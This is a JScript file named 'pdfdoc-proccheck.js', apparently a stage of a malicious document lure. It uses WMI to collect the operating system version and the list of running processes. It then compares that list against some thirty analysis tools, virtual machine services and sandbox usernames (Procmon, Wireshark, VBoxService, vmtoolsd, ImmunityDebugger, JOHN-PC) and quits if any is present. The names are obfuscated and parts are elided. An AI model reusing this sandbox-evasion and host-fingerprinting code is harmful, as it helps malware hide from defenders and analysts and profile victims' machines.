pdfdoc-proccheck.js

try {
    WmiObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    win32ProcessList = new Enumerator(WmiObject["ExecQuery"]("Select * from Win32_Process"));
    win32OperatingSystem = new Enumerator(Wmi["ExecQuery"]("Select * from Win32_OperatingSystem"));
    while (!win32OperatingSystem["atEnd"]()) {
        if (i == 5) break;
        osInfo = osInfo + win32OperatingSystem["item"]()["Caption"] + 
                            win32OperatingSystem["item"]()["Version"];
        i++;
        win32OperatingSystem["moveNext"]();
    }
    osInfo = osInfo + String["fromCharCode"](10 + 3) + String["fromCharCode"](5 + 5) + carbonworld24;
    i = 0;
    while (!win32ProcessList["atEnd"]()) {
        if (i == 200) break;
        procItem = win32ProcessList["item"]();
        procList = procList + procItem["Name"] + "*" + procItem["ExecutablePath"] + "\r\n";
        i++;
        win32ProcessList["moveNext"]();
    }
} catch (Tokans5) {}
//
// ....
///
procList = osInfo + "\r\n" + procList;
if (procList["length"] < 700 || 
    procList["indexOf"]("Procmon") != -1 || 
    procList["indexOf"]("Wireshark") != -1 || 
    procList["indexOf"]("Temp" + carbonplanThat88 + "iexplore.exe") != -1 || 
    procList["indexOf"]("ProcessHacker") != -1 || 
    procList["indexOf"]("vmtoolsd") != -1 || 
    procList["indexOf"]("VBoxService") != -1 || 
    procList["indexOf"]("python") != -1 || 
    procList["indexOf"]("Proxifier.exe") != -1 || 
    procList["indexOf"]("Johnson") != -1 || 
    procList["indexOf"]("ImmunityDebugger.exe") != -1 || 
    procList["indexOf"]("lordPE.exe") != -1 || 
    procList["indexOf"]("ctfmon.exe*JOHN-PC") != -1 || 
    procList["indexOf"]("BehaviorDumper") != -1 || 
    procList["indexOf"]("anti-virus.EXE") != -1 || 
    procList["indexOf"]("AgentSimulator.exe") != -1 || 
    procList["indexOf"]("VzService.exe") != -1 || 
    procList["indexOf"]("VBoxTray.exe") != -1 || 
    procList["indexOf"]("VmRemoteGuest") != -1 || 
    procList["indexOf"]("SystemIT|admin") != -1 || 
    procList["indexOf"]("WIN7-TRAPS") != -1 || 
    procList["indexOf"]("Emily" + carbonplanThat88 + "AppData") != -1 || 
    procList["indexOf"]("PROCMON") != -1 || 
    procList["indexOf"]("procexp") != -1 || 
    procList["indexOf"]("tcpdump") != -1 || 
    procList["indexOf"]("FrzState2k") != -1 || 
    procList["indexOf"]("DFLocker64") != -1 || 
    procList["indexOf"]("vmware") != -1 || 
    procList["indexOf"]("LOGSystem.Agent.Service.exe") != -1) {
            pdfdoc["alert"]("No more half-measures.");
            WScript["Quit"];
            carbonprophecy28 = true;
        }